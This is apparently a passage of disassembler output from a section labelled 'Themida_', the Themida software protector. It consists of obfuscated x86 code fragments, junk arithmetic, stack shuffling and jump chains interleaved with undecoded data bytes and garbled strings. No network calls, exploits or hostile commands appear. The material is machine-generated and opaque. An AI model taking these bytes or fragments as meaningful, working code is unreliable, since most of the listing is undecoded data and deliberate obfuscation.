		dd 0D101E959h, 74FF0000h, 8F5F0424h, 895C2404h,	5255240Ch
		dd 0FEBAh, 5AD58900h, 0E95DE989h, 0C8E5h
; ---------------------------------------------------------------------------


loc_5583E4:				; CODE XREF: Themida_:00552024j
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		jmp	loc_559F1D
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFFA627h
; ---------------------------------------------------------------------------


loc_5583F8:				; CODE XREF: Themida_:0055AABEj
					; Themida_:0055DF11j ...
		push	414Eh
		mov	[esp], edx
		push	ebx
		mov	ebx, 24h
		push	ebx
		jmp	loc_55CC84
; ---------------------------------------------------------------------------
		dd 15DEE01h, 0A2EE81DEh, 5B3B4B7Ch, 0E9243487h,	3190h
; ---------------------------------------------------------------------------


loc_558420:				; CODE XREF: Themida_:00562A82j
		mov	ebx, [esp]
		add	esp, 4
		sub	esi, 1C511FD9h
		add	esi, ecx
		add	esi, 1C511FD9h
		jmp	loc_565A20
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 6801E900h, 0D60C0000h,	0FF8589E9h, 59CA29FFh
		dd 2414875Fh, 8924248Bh, 50E92404h, 0BDFFFF85h,	68E10C7Bh
		dd 37BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_558469:				; CODE XREF: Themida_:00560355j
		sub	ebp, 4D786108h
		jmp	loc_56322E
; ---------------------------------------------------------------------------


loc_558474:				; CODE XREF: Themida_:00552444j
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	5422h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55675A
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC832434h, 242C8904h, 0FFA20AE9h, 7D84BAFFh, 0F2810129h
		dd 15E847A1h, 88AFE94Ah, 8B660000h, 0C483240Ch,	0E9545702h
		dd 6D5Fh
; ---------------------------------------------------------------------------


loc_5584BC:				; CODE XREF: Themida_:00559CD1j
		add	bl, 98h
		pop	cx
		add	bl, al
		push	dx
		push	small 48CCh
		mov	[esp], ax
		mov	ah, 8
		push	ebx
		mov	bh, ah
		push	12DEh
		mov	[esp], eax
		push	ecx
		mov	cl, bh
		mov	al, cl
		jmp	loc_564406
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 41AFh, 0C15BD901h, 0D3E905E9h, 8900005Fh
		dd 52552424h, 5F3172BAh, 0C55CE97Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558506:				; CODE XREF: Themida_:0055F896j
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		jmp	loc_55FA43
; ---------------------------------------------------------------------------
		db 81h
		dd 7A3C242Ch, 4811D99h,	0DF0ACB24h, 0BDF3E935h,	0C330000h
		dd 876FE924h, 36680000h, 89000058h, 6DBA2414h, 0E92AD51Ah
		dd 0FFFFA9D3h, 8007E3C0h, 0DE30FDF3h, 51E9505Bh
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558557:				; CODE XREF: Themida_:00551720j
		mov	[esp], ebp
		mov	ebp, 4
		add	edi, 0E5B4576h
		add	edi, ebp
		jmp	loc_5647A9
; ---------------------------------------------------------------------------
aZs2m		db 'ZИ2▄',0
		align 2


loc_558572:				; CODE XREF: Themida_:0055A774j
		mov	eax, ebp
		pop	ebp
		add	ebp, 61F0763Bh
		add	ebp, eax
		sub	ebp, 61F0763Bh
		push	dword ptr [esp]
		pop	eax
		jmp	loc_552B54
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 9C69h, 0AFC68h, 24348900h, 12A68h, 0E93CE900h
		dd 0CD80FFFFh, 0BF5807Bh, 3059EF00h, 88525BF9h,	0E9D088CAh
		dd 0FFFFAF12h, 81E18951h, 4C1h,	4C18300h, 5C240C87h, 62A0BB53h
		dd 0BD5547FBh, 3E26171Ch, 3FAEED81h, 0BF5774F1h, 39225925h
		dd 87E9E7D1h, 0FFFFFFA6h, 0E9592434h, 6FBEh
; ---------------------------------------------------------------------------


loc_5585F4:				; CODE XREF: Themida_:005577CEj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55DA73
; ---------------------------------------------------------------------------


loc_558602:				; CODE XREF: Themida_:00561BEEj
		mov	esp, [esp]
		or	eax, eax
		jz	loc_565610
		push	40D2h
		mov	[esp], edx
		push	1Ch
		jmp	loc_5574A8
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h, 59CE2900h, 3194E9h
		db 0
; ---------------------------------------------------------------------------


loc_55862D:				; CODE XREF: Themida_:0055F75Fj
		push	5A67h
		mov	[esp], ebp
		push	6AAEh
		jmp	loc_562CCF
; ---------------------------------------------------------------------------
		db 54h
		dd 70BD555Bh, 536F8754h, 0FFCA73E9h, 24248BFFh,	29C56856h
		dd 4890000h, 46824h, 89580000h,	0F30158C6h, 0E459E95Eh
		db 2 dup(0FFh)
word_55866A	dw 8B66h		; DATA XREF: Themida_:005508E0o
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	1A37h
		jmp	loc_565010
; ---------------------------------------------------------------------------
		db 29h
		dd 0BA5251F0h, 1FD35CBEh, 415AD189h, 0AF7E9h
		db 0
; ---------------------------------------------------------------------------


loc_55868D:				; CODE XREF: Themida_:0055AADBj
		mov	esp, [esp]
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_5509AF
; ---------------------------------------------------------------------------


loc_55869A:				; CODE XREF: Themida_:00554CEBj
		mov	[esp], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 5151080h
		push	edx
		mov	edx, 6756309Fh
		shr	edx, 1
		jmp	loc_5540B1
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 22516E96h, 8103EDC1h, 0B9742DF5h, 5DE8290Dh,	67EBE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5586CA:				; CODE XREF: Themida_:00565121j
		mov	ecx, 202E393h
		jmp	loc_564585
; ---------------------------------------------------------------------------
		dd 3DC380h, 55CFE9F3h, 0C870000h, 24248B24h, 9C2424D2h
		dd 0FF82C2E9h, 5EF529FFh, 89EF8957h, 455BE9FBh,	0C3280000h
		dd 80B2EB80h, 0B60F9BEBh, 148B66C0h, 59545124h,	6A22BB53h
		dd 0C3815A89h, 0A57695E2h, 685BD901h, 128Dh, 0E9242C89h
		dd 0FFFFF338h, 705283BEh, 81D6F756h, 8FAD78F6h,	0E9F301A9h
		dd 554Ch
; ---------------------------------------------------------------------------


loc_55873C:				; CODE XREF: Themida_:0055F2F4j
		xor	ebp, 32C94496h
		add	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 42E3734Ch
		sub	ecx, 42E37348h
		jmp	loc_55E07F
; ---------------------------------------------------------------------------


loc_55875C:				; CODE XREF: Themida_:0055F151j
		push	dword ptr [esp]
		jmp	loc_563A70
; ---------------------------------------------------------------------------


loc_558764:				; CODE XREF: Themida_:0055EFC8j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55809B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 0FFE08CE9h, 240487FFh, 0FFDDBAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558785:				; CODE XREF: Themida_:0055A2E9j
		not	ebp
		add	ebp, 0C0CCA223h
		jmp	loc_55EA0B
; ---------------------------------------------------------------------------
word_558792	dw 8B66h		; DATA XREF: Themida_:00550890o
		dd 0E956240Ch, 85DCh
; ---------------------------------------------------------------------------


loc_55879C:				; CODE XREF: Themida_:00557EC0j
		xchg	ebp, [esp]
		pop	esp
		push	633Ch
		jmp	loc_561C30
; ---------------------------------------------------------------------------


loc_5587AA:				; CODE XREF: Themida_:00553BF0j
		push	ebx
		mov	ebx, 17087FFBh
		jmp	loc_55D8C5
; ---------------------------------------------------------------------------


loc_5587B5:				; CODE XREF: Themida_:00557423j
		mov	[esp], ebx
		jmp	loc_55BF30
; ---------------------------------------------------------------------------
		db 31h,	1Ch, 24h
		dd 0E9241C33h, 7F13h
; ---------------------------------------------------------------------------


loc_5587C8:				; CODE XREF: Themida_:00555478j
		xor	edi, 200C69B9h
		jmp	loc_5525F6
; ---------------------------------------------------------------------------


loc_5587D3:				; CODE XREF: Themida_:00563FF1j
		add	eax, edx
		jmp	loc_5622C6
; ---------------------------------------------------------------------------
		dw 489h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55A0FD
; ---------------------------------------------------------------------------
		db 80h,	0EFh, 90h
		dd 89EF8058h, 0B353F0B1h, 0C3B551CEh, 284BED80h, 0EBC059EBh
		dd 0E9C3FE06h, 0FFFFE3EAh, 56241C89h, 0C681E689h, 4, 4853E9h
		dd 0D1BE5600h, 57670D43h, 0EF4C79BFh, 6835E962h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558826:				; CODE XREF: Themida_:0055F17Aj
		mov	esp, [esp]
		push	ecx
		push	4D4Bh
		mov	[esp], esi
		push	edx
		jmp	loc_565C71
; ---------------------------------------------------------------------------
		dd 0E9243C89h, 0FFFF9DD5h, 4F31E95Ch, 815D0000h, 8D0F1FC5h
		dd 3E5C118h, 39AAC581h,	505649FEh, 0BB5781B8h, 4E0C153h
		dd 0C5665A35h, 8BC689BFh, 0C4812404h, 4, 34FFF501h, 0C4835E24h
		dd 5DEB8904h, 6ADBF57h,	0FA010A3Ah, 76C2815Fh, 172E758h
		dd 76EA81DAh, 8172E758h, 3A06ADEAh, 9C99E90Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55889E:				; CODE XREF: Themida_:00557349j
		dec	dh
		push	cx
		mov	cl, 39h
		jmp	loc_55D6E9
; ---------------------------------------------------------------------------


loc_5588A9:				; CODE XREF: Themida_:00552CCDj
		pop	ecx
		xchg	esi, [esp]
		jmp	loc_55B181
; ---------------------------------------------------------------------------


loc_5588B2:				; CODE XREF: Themida_:00560692j
		add	[esp+8], ebx
		pop	ebx
		add	[esp+4], edx
		jmp	loc_554972
; ---------------------------------------------------------------------------
dword_5588C0	dd 9D1C77FFh, 1CD25966h, 0E0E99C24h, 89FFFF80h,	81512424h
					; DATA XREF: Themida_:00550730o
		dd 4ECh, 241C8900h, 0A36B7768h,	0E9435B39h, 0FFFFAD3Ch
		dd 43FB68h, 242C8900h, 0C581E589h, 4, 4EC8156h,	89000000h
		dd 4468240Ch, 8B2A983Ch, 0C481240Ch, 4,	2639F181h, 8B5159F0h
		dd 0C4832434h, 240C8B04h, 5E08950h, 4, 405h, 24048700h
		dd 63B4E95Ch, 0C1B10000h, 5966C800h, 592434FFh,	6804C483h
		dd 6ECh, 0B0240489h, 84686693h,	0C896653h, 0BF8DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55895A:				; CODE XREF: Themida_:005519DCj
		add	ebx, ecx
		pop	ecx
		push	edx
		push	ebp
		push	esi
		mov	esi, 4AF52805h
		sub	esi, 606259CEh
		sub	esi, 87D9BD4Ch
		mov	ebp, esi
		pop	esi
		mov	edx, 62B910EFh
		sub	edx, 21926DBDh
		jmp	loc_559D03
; ---------------------------------------------------------------------------
aOsO		db 'OИЛ▌',0
		align 2
		dw 73B8h
		dd 0C12DBD13h, 0AF0507E0h, 816E4855h, 4ECh, 242C8900h
		dd 0AB6692BDh, 73ED8125h, 0C13A2B24h, 0ED8105EDh, 49A313FAh
		dd 5FADF581h, 0ED8143D4h, 71264FAEh, 295DE801h,	24048BC3h
		dd 6EECE9h, 56180500h, 0D8010266h, 6656182Dh, 4875B02h
		dd 6E7BE924h, 0F7BE0000h, 0E9FCCC17h, 0BF22h, 0FF7FBEE9h
		dd 8EC281FFh, 16CCB64h,	348B5AD5h, 90E5E924h, 0B60F0000h
		dd 8734FFC0h, 0FF7FA2E9h, 4C481FFh, 55000000h, 0FFBC70E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558A19:				; CODE XREF: Themida_:00559DE1j
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
		dd 0C281DA29h, 4A5E1E44h, 83241C8Bh, 555604C4h,	58223EBDh
		dd 0FFA4E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558A3E:				; CODE XREF: Themida_:0056031Aj
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		pop	edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55C8BD
; ---------------------------------------------------------------------------


loc_558A78:				; CODE XREF: Themida_:00557BD6j
		push	244Ch
		mov	[esp], ecx
		push	65D6h
		jmp	loc_55A4D7
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 89CC381h,	0F32915DBh, 89CEB81h, 2CE915DBh
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558AA3:				; CODE XREF: Themida_:0055D565j
		shr	eax, 18h
		xor	eax, ecx
		push	50D4h
		mov	[esp], eax
		xchg	ebp, [esp]
		push	2A9Ah
		mov	[esp], ebp
		xchg	esi, [esp]
		not	esi
		xor	[esp], esi
		jmp	loc_552760
; ---------------------------------------------------------------------------
		dd 405h, 0BEE95100h, 50000099h,	24048B5Eh, 5004C483h, 0A84E9BB8h
		dd 2E8C14Ch, 0BA20090Dh, 510E917h, 14890000h, 445CBA24h
		dd 0FA314823h, 0FA31D731h, 0FA87DFF7h, 0E5EA814Ah, 81166C6Eh
		dd 8FB344C2h, 625CE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558B12:				; CODE XREF: Themida_:00551044j
		add	al, 32h
		add	bl, 0B8h
		add	bl, al
		push	ecx
		jmp	loc_55FD11
; ---------------------------------------------------------------------------
		db 81h
		dd 6D53D4EAh, 0AF14E937h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558B2A:				; CODE XREF: Themida_:005563C0j
		pop	esp
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_550CF9
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0C6h
		dd 0E9045D23h, 0FFFF8790h
; ---------------------------------------------------------------------------


loc_558B40:				; CODE XREF: Themida_:00555BEAj
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ebx
		jmp	loc_55C154
; ---------------------------------------------------------------------------
		db 66h,	29h, 0D0h
		dd 5253665Ah, 40ABA66h,	24E3BB66h, 0EAEB8166h, 0DB7CE917h
		dd 0B068FFFFh, 8900002Eh, 0EC81240Ch, 4
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_556C34
; ---------------------------------------------------------------------------


loc_558B97:				; CODE XREF: Themida_:005619FBj
		and	eax, edi
		mov	edi, [esp]
		push	4052h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55EE3D
; ---------------------------------------------------------------------------
		dw 0E901h
		dd 1856E9h
		db 0
; ---------------------------------------------------------------------------


loc_558BC1:				; CODE XREF: Themida_:00550AC4j
		sub	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebx, 1AF02B10h
		add	ebx, eax
		sub	ebx, 1AF02B10h
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, 2
		sub	ebp, 133110F3h
		jmp	loc_55A829
; ---------------------------------------------------------------------------
		db 28h
		dd 241C8BDDh, 4C481h, 0C5800000h, 0DAC5E98Dh, 0D968FFFFh
		dd 89000011h, 0B050240Ch, 0C010452h, 0F824E903h
		db 2 dup(0FFh)
word_558C22	dw 30ACh		; DATA XREF: Themida_:0055075Co
		dd 0B05051D8h, 531C34C2h, 8F10E9h, 5B36800h, 0E95E2BCBh
		dd 0B5FDh, 0ED81D529h, 27234B19h, 0A7FE9h, 24048B00h, 0E904C483h
		dd 0FFFFB01Fh, 24348B5Fh, 0FFB317E9h, 0DEE959FFh, 1FFFFBAh
		dd 0FA875DEFh, 138DE956h, 0C890000h, 3FCB924h, 0CE890000h
		dd 0FFFFE0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558C7D:				; CODE XREF: Themida_:0055797Aj
		mov	dh, al
		pop	eax
		jmp	loc_56169F
; ---------------------------------------------------------------------------
		db 81h,	2Ch, 24h
		dd 48CE021Eh, 8324348Bh, 0C68104C4h, 48CE021Eh,	0DBF6815Ah
		dd 0E967256Dh, 5171h, 4B16858h,	34890000h, 2474FF24h, 2434FF04h
		dd 5324348Bh, 0C381E389h, 4, 4C381h, 1C870000h,	0C4815C24h
		dd 4, 8B24048Fh, 89662424h, 0D0E92404h,	81FFFF7Ch, 0F1091AF6h
		dd 0B4EE8133h, 167705Ch, 14875EF2h, 24248B24h, 0FFB8D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558CF9:				; CODE XREF: Themida_:00561FD3j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	ebx
		jmp	loc_563562
; ---------------------------------------------------------------------------
		db 0B0h, 19h, 0
aSkg		db 'бИKg',0
		align 2
		dw 0F681h
		dd 1BF35AB0h, 4605EEC1h, 2339F681h, 0F6812BD7h,	39179453h
		dd 7AFDE9h, 9E94300h
		db 0B4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_558D33:				; CODE XREF: Themida_:0055B8ACj
		sub	esi, ebp
		jmp	loc_55C5CF
; ---------------------------------------------------------------------------


loc_558D3A:				; CODE XREF: Themida_:00552844j
		add	esp, 4
		shr	ecx, 7
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55F887
; ---------------------------------------------------------------------------
		dw 8358h
		dd 1C8904ECh, 81E38924h, 4C3h, 0EAE95500h, 81000004h, 4C2h
		dd 4EC8300h, 68242C89h,	6CCE2EA6h, 4DE5D15Dh, 5D49F581h
		dd 0C281D99Ch, 116D16F2h, 0EA81EA01h, 116D16F2h, 74FF525Dh
		dd 8F5A0424h, 665C2404h, 6824048Bh, 743Fh, 89240C89h, 63E952E1h
		dd 0BE000033h, 4, 685EF701h, 55C5h, 0B8240489h,	2, 5BADB951h
		dd 0EF812C4Bh, 327579D5h, 0B8E9CF29h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558DD7:				; CODE XREF: Themida_:0055E326j
		pop	edi
		jmp	loc_557447
; ---------------------------------------------------------------------------


loc_558DDD:				; CODE XREF: Themida_:00555686j
		shl	ecx, 1
		sub	ecx, 0D3510097h
		jmp	loc_55C200
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0E9530000h, 0DEh, 8B240C89h,	0C483243Ch, 7BE95904h
		dd 80FFFF7Fh, 41E9E1F4h, 0D1FFFF93h, 12EA81E2h,	81A37C6Ah
		dd 500509EFh, 53D70172h, 331CDBBBh, 2EC3816Dh, 1051CE8h
		dd 24E95BDFh, 5AFFFFD1h, 4C481h, 0E9310000h, 0B7BE565Dh
		dd 0E915E820h, 3BA1h
dword_558E48	dd 240C8B66h, 0C8B5451h, 0E3895324h, 4C381h, 0C3810000h
					; DATA XREF: Themida_:005506F0o
		dd 4, 5C241C87h, 0E0685650h, 0E97BB77Bh, 3A0Fh
; ---------------------------------------------------------------------------


loc_558E70:				; CODE XREF: Themida_:00550C21j
		pop	ebp
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		jmp	loc_5532B7
; ---------------------------------------------------------------------------


loc_558E7F:				; CODE XREF: Themida_:0055DB09j
		push	5438h
		mov	[esp], edx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55145B
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 1CC8CA81h, 87E93571h, 810000B6h, 8002F9C2h, 0C1DAF76Eh
		dd 0F28108EAh, 2427A2h,	875AD701h, 815C243Ch, 476028C5h
		dd 81F5015Fh, 476028EDh, 35ED815Fh, 8B0BE138h, 0C4832434h
		dd 0AFD7E904h, 0E3890000h, 4C381h, 55E90000h, 5A000003h
		dd 2A02742Dh, 0E9F8017Dh, 4BA3h, 0EC009BB5h, 0C1F8E9h
		dd 0E935B300h, 82C2h, 2434FF5Ah, 4C48358h, 4C7AEE81h, 0D60158B4h
		dd 4EC81h, 1BE90000h, 89000044h, 0FE315FFEh, 0E9EED15Fh
		dd 0FFFF7C03h
; ---------------------------------------------------------------------------


loc_558F28:				; CODE XREF: Themida_:005653F1j
		pop	ebx
		jmp	loc_55E80C
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 401BE9h, 4C28100h, 83000000h, 143304C2h, 24143124h
		dd 5C241433h, 0FF7A5EE9h, 2EC381FFh, 81606E3Ch,	2C2AE2EBh
		dd 4EBC16Ah, 0FFC8A2E9h, 241C89FFh, 0D93085B3h,	59CC285Bh
		dd 0E9FBEB80h, 0FFFFE546h, 570DEB81h, 2BE91FD3h, 59FFFFAFh
		dd 73B8C681h, 0CE012954h, 73B8EE81h, 92E92954h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558F97:				; CODE XREF: Themida_:0055687Dj
		mov	eax, 31372A6Ah
		sub	eax, 0E80EF9CDh
		sub	ebp, eax
		pop	eax
		sub	ebp, edi
		jmp	loc_56496F
; ---------------------------------------------------------------------------


loc_558FAB:				; CODE XREF: Themida_:00559CB5j
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5538CC
; ---------------------------------------------------------------------------


loc_558FC0:				; CODE XREF: Themida_:005602C2j
		or	edi, 2CDD258Eh
		and	edi, 4A2C543Ah
		shl	edi, 7
		inc	edi
		xor	edi, 4AE36CE8h
		add	ecx, edi
		pop	edi
		jmp	loc_56041B
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5C24048Fh, 89243489h, 4C681E6h, 51000000h, 2B9h
		dd 2431E900h, 89050000h, 15D2CDCh, 0DEF758C6h, 0C124BD55h
		dd 0EE817DFDh, 32C24970h, 0FF9D6BE9h, 67B859FFh, 0E94E93ECh
		dd 0FFFFAD9Eh, 5C241C87h, 0FFDCE5E9h, 4C481FFh,	8F000000h
		dd 665C2404h, 9C242CD3h, 0FF796EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559041:				; CODE XREF: Themida_:00557018j
		xor	ebp, 9FA652h
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55CCA1
; ---------------------------------------------------------------------------
		dd 8B241C33h, 9E682424h, 8900003Fh, 0E954242Ch,	1C8h, 81E38953h
		dd 4C3h, 9042E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559076:				; CODE XREF: Themida_:0055A9AFj
		push	6010h
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_554466
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0E5h
		dd 295EA05Bh, 0E5EA81F2h, 5E5EA05Bh, 5C241487h,	0FFD5C2E9h
		dd 2434FFFFh, 2BF1E95Fh, 4890000h, 569FB824h, 0C2314B78h
		dd 6EE0E9h, 4EC8100h, 89000000h, 4AB9240Ch, 6800777Ah
		dd 2DBAh, 0BD242C89h, 3BC953B0h, 852FE9h, 4EB8100h, 0E9000000h
		dd 0D2Ch, 77EFE95Bh, 0E3890000h, 0D015E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5590F2:				; CODE XREF: Themida_:00562440j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55714F
; ---------------------------------------------------------------------------


loc_5590FD:				; CODE XREF: Themida_:00557036j
		pop	edi
		push	edx
		mov	edx, 27843875h
		sub	edx, 192B05E9h
		sub	esi, edx
		pop	edx
		push	ebx
		jmp	loc_55324E
; ---------------------------------------------------------------------------
		db 31h
		dd 3C33243Ch, 34FF5C24h, 89575924h, 4C781E7h, 68000000h
		dd 12DEh, 9479E9h
		db 0
; ---------------------------------------------------------------------------


loc_559131:				; CODE XREF: Themida_:0055AD9Ej
		pop	eax
		xor	al, bl
		mov	ebx, [esp]
		jmp	loc_5538FB
; ---------------------------------------------------------------------------


loc_55913C:				; CODE XREF: Themida_:00551075j
		mov	ebp, 62C45AEDh
		jmp	loc_55502B
; ---------------------------------------------------------------------------
		dw 433h
aSxz		db '$И∙Z',0
		align 2
		dw 0F301h
		dd 0D9DC381h, 34FF2B9Ch, 78FCE924h, 0F929FFFFh,	81243C8Bh
		dd 4C4h, 2B51E900h, 14890000h, 505A5424h, 2618E9h, 24343300h
		dd 0E924248Bh, 0FFFF782Bh, 0C750E941h, 0E3890000h, 65DCBE56h
		dd 0E9536C2Bh, 0FFFF9ABFh, 42474FFh, 6F89E95Dh,	0E2890000h
		dd 4C281h, 0F0E90000h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5591AF:				; CODE XREF: Themida_:00562B39j
		xchg	edi, ecx
		xchg	ecx, [esp]
		mov	esi, [esp]
		add	esp, 4
		push	58ADh
		mov	[esp], ecx
		mov	ecx, 706A0C06h
		jmp	loc_565701
; ---------------------------------------------------------------------------


loc_5591CC:				; CODE XREF: Themida_:0055AA50j
		mov	esp, [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_555E79
; ---------------------------------------------------------------------------


loc_5591EF:				; CODE XREF: Themida_:0055E8DEj
		mov	ebp, 2CA93583h
		xor	edi, ebp
		pop	ebp
		jmp	loc_556D4B
; ---------------------------------------------------------------------------
aBu_9@BuDxis2	db '│Н_9@^│Н-dxIИ2╩',0
		dd 0A5E95600h, 8B0000B6h, 81E92424h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55921B:				; CODE XREF: Themida_:005515EFj
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_5656A3
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFED23h, 8704EB83h, 895C241Ch, 0FAE92414h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_559247:				; CODE XREF: Themida_:0055C423j
		push	114F7601h
		jmp	loc_558140
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EB010000h, 241C875Dh, 4EC815Ch, 0E9000000h,	0C625h
		dd 0FF7742E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55926D:				; CODE XREF: Themida_:0055930Fj
		add	esp, 4
		add	edx, 6012706Ch
		jmp	loc_5573D3
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 0BEB5FE14h, 2C8BE901h, 0F77FE924h, 0C8BFFFFh, 4C48124h
		dd 33000000h, 14312414h, 24143324h, 8924248Bh, 4E92404h
		dd 8BFFFF77h, 54532434h, 4C3815Bh, 57000000h, 4BFh, 9C9EE900h
		dd 14B70000h, 5B66F920h, 800CC180h, 0B05068F1h,	2857E94Bh
		dd 0D1880000h, 0B2CE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5592DE:				; CODE XREF: Themida_:0055FD9Fj
		mov	ebx, esi
		jmp	loc_55EF7D
; ---------------------------------------------------------------------------
		db 0BBh, 0B5h, 0
		dd 21E90B5Eh, 5DFFFFD7h, 0FBF3814Bh, 2906BFFFh,	6BE95BDAh
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5592FF:				; CODE XREF: Themida_:00563D75j
		mov	ebp, 1
		push	ebp
		sub	dword ptr [esp], 6012706Ch
		mov	edx, [esp]
		jmp	loc_55926D
; ---------------------------------------------------------------------------
		dd 0FF04C483h, 55582434h, 0FFA96EE9h, 243C89FFh, 2A5E68h
		dd 4EC8300h, 83242489h,	8F042404h, 8E682404h, 0E9000018h
		dd 0FFFF77A7h
; ---------------------------------------------------------------------------


loc_559340:				; CODE XREF: Themida_:0055E97Bj
		pop	ecx
		add	dx, 8AB9h
		jmp	loc_551469
; ---------------------------------------------------------------------------
		db 0BAh
		dd 2B650CD3h, 8245401h,	2474015Ah, 246C8104h, 650CD304h
		dd 0B850562Bh, 271D6263h, 8158C689h, 8D08246Ch,	148EA4Dh
		dd 81082474h, 8D082444h, 5E48EA4Dh, 0FF9549E9h,	242C8BFFh
		dd 4C481h, 4BE90000h, 0BDFFFFCDh, 20A83E71h, 0BF57DDF7h
		dd 44D8A13Bh, 15FFD01h,	565A5DEBh, 8F37B2BEh, 0E9F30905h
		dd 0FFFFE38Ah
; ---------------------------------------------------------------------------


loc_5593B4:				; CODE XREF: Themida_:00561894j
		mov	[esp], ecx
		push	eax
		push	8BB0FCDh
		pop	eax
		add	eax, 40BBF6A3h
		mov	ecx, eax
		pop	eax
		xor	[esp+4], ecx
		jmp	loc_5511E7
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 91D7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5593DA:				; CODE XREF: Themida_:0055D7FCj
		add	eax, edi
		jmp	loc_552BE7
; ---------------------------------------------------------------------------


